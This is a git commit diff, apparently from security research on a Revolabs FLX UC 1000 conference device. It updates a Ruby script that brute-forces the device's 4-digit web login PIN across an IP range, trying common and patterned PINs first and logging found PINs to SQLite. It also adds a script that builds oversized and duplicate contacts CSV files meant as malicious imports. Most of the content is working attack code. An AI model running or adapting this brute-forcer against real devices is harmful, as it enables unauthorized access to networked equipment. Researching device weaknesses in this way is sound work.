smoothing out the edges of bf_login, building potentially malicious CSVs

This commit is contained in:
Conor Horan-Kates 2017-02-09 08:42:30 -08:00
parent aaeb2d5c55
commit cc8be4e7ec
2 changed files with 70 additions and 24 deletions

50
revolabs-flx_uc_1000/bf_login.rb Normal file → Executable file
View File

@ -6,21 +6,26 @@ require 'net/http'
require 'sequel' require 'sequel'
require 'uri' require 'uri'
class BfLoginError < StandardError; end
class BfLogin class BfLogin
attr_reader :address, :dbh, :errors, :responses attr_reader :address, :dbh, :errors, :found, :responses
def initialize(address) def initialize(address)
@address = address @address = address
@errors = Array.new @errors = Array.new
@responses = Array.new @responses = Array.new
@found = Hash.new
db = 'bf_login.db' db = 'bflogin.db'
@dbh = Sequel.connect(sprintf('sqlite://%s', db)) @dbh = Sequel.connect(sprintf('sqlite://%s', db))
initialize_db
end end
def initialize_db def initialize_db
@db.create_table? :pins do @dbh.create_table? :pins do
primary_key :id primary_key :id
String :ip String :ip
String :pin String :pin
@ -29,11 +34,16 @@ class BfLogin
end end
def add_pin_to_db(ip, pin) def add_pin_to_db(ip, pin)
if @dbh[:pins].where(:ip => ip).count.eql?(0)
@dbh[:pins].insert( @dbh[:pins].insert(
:ip => ip, :ip => ip,
:pin => pin, :pin => pin,
:created => Time.now, :created => Time.now,
) )
else
puts sprintf('found pin[%s] for ip[%s], but database already includes this', pin, ip)
end
@found[ip] = pin
end end
# return a Net::HTTP::Post request suitable for validating +pin+ # return a Net::HTTP::Post request suitable for validating +pin+
@ -70,11 +80,19 @@ class BfLogin
uri = URI.parse(url) uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port) http = Net::HTTP.new(uri.host, uri.port)
http.open_timeout = 5
request = get_request(uri, pin) request = get_request(uri, pin)
response = http.request(request) response = http.request(request)
# <properties sys.validate-password="0"></properties> # <properties sys.validate-password="0"></properties>
#if response['Content-Type'].eql?('text/html') # crappy cisco devices
if response['Content-Type'].eql?('text/plain')
response.body.match(/1/) ? true : false response.body.match(/1/) ? true : false
else
raise BfLoginError.new(sprintf('host[%s] is listening on port 80, but does not look like a revo, skipping', uri.host))
end
end end
end end
@ -91,7 +109,7 @@ if address.nil?
exit 1 exit 1
end end
mode = address.match(/^(?:\d{1,3}){3}\.\d{1,3}$/) ? :ip : :range mode = address.match(/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) ? :ip : :range
targets = Array.new targets = Array.new
if mode.eql?(:ip) if mode.eql?(:ip)
@ -103,6 +121,8 @@ elsif mode.eql?(:range)
end end
end end
puts sprintf('target count[%s]', targets.size)
_pins = Array.new _pins = Array.new
9999.downto(0).to_a.each do |i| 9999.downto(0).to_a.each do |i|
_pins << sprintf('%04d', i) _pins << sprintf('%04d', i)
@ -110,8 +130,6 @@ end
prioritized = [1234, 2546, 1739, 9876, 1425, 4152].each.collect { |i| i.to_s } # commonly used PINs prioritized = [1234, 2546, 1739, 9876, 1425, 4152].each.collect { |i| i.to_s } # commonly used PINs
# TODO come up with way to generate patterns - keys that are nearby, incremental/decremental ranges
# commonly used PINs that follow a pattern # commonly used PINs that follow a pattern
0.upto(9) do |i| 0.upto(9) do |i|
prioritized << sprintf('%04d', i * 1111) prioritized << sprintf('%04d', i * 1111)
@ -127,7 +145,7 @@ targets.each do |target|
pins.each do |pin| pins.each do |pin|
begin begin
puts sprintf(' trying pin[%s]', pin) puts sprintf(' trying pin[%s] on[%s]', pin, target)
response = app.check_pin(url, pin) response = app.check_pin(url, pin)
app.responses << { :ip => target, :pin => pin, :results => response } app.responses << { :ip => target, :pin => pin, :results => response }
@ -141,22 +159,18 @@ targets.each do |target|
# this was necessary when testing against a local server, but not against real devices # this was necessary when testing against a local server, but not against real devices
#sleep 1 if (i % 100).eql?(0) #sleep 1 if (i % 100).eql?(0)
rescue Errno::ECONNREFUSED, Errno::ETIMEDOUT, Net::OpenTimeout => e
puts sprintf('ERROR: ip[%s] is not listening on 80', target)
break
rescue BfLoginError => e
puts e.message
break
rescue => e rescue => e
puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message) puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
app.errors << { :exception => e, :pin => pin } break
end end
end end
unless app.errors.empty?
app.errors.each do |e|
puts sprintf('ERROR: pin[%s] trace[%s]', e[:pin], e[:exception])
end
puts sprintf('ERROR: [%d] total errors', app.errors.size)
else
# TODO this is going to get lost in the console output when running against multiple targets -- should we stop printing the PINs attempted?
puts sprintf('tested[%s] PINs, found correct one[%s]', app.responses.size, )
end
end end

View File

@ -0,0 +1,32 @@
#!/usr/bin/env ruby
## generate_contacts.csv
# duplicate records
max = 10
filename = 'contacts-duplicates.csv'
headers = 'name,mobile,work,home,default,speed,key'
record = 'foo,,1234567,,work,-1,656877352' # unclear what the trailing digit is supposed to indicate, except that it is usually +1 from the last one created -- should we do that too?
File.open(filename, 'w') do |f|
f.write(headers)
0.upto(max).each do |_i|
f.write(sprintf('%s%s', record, "\n"))
end
end
puts sprintf('created: %s', filename)
# a large number of records
max = 100_000
filename = 'contacts-huge.csv'
record = '%s,,%s,,work,-1,%s%s'
File.open(filename, 'w') do |f|
f.write(headers)
0.upto(max) do |i|
f.write(sprintf(record, sprintf('foo%s', i), rand(max), rand(max) + 1, "\n"))
end
end
puts sprintf('created: %s', filename)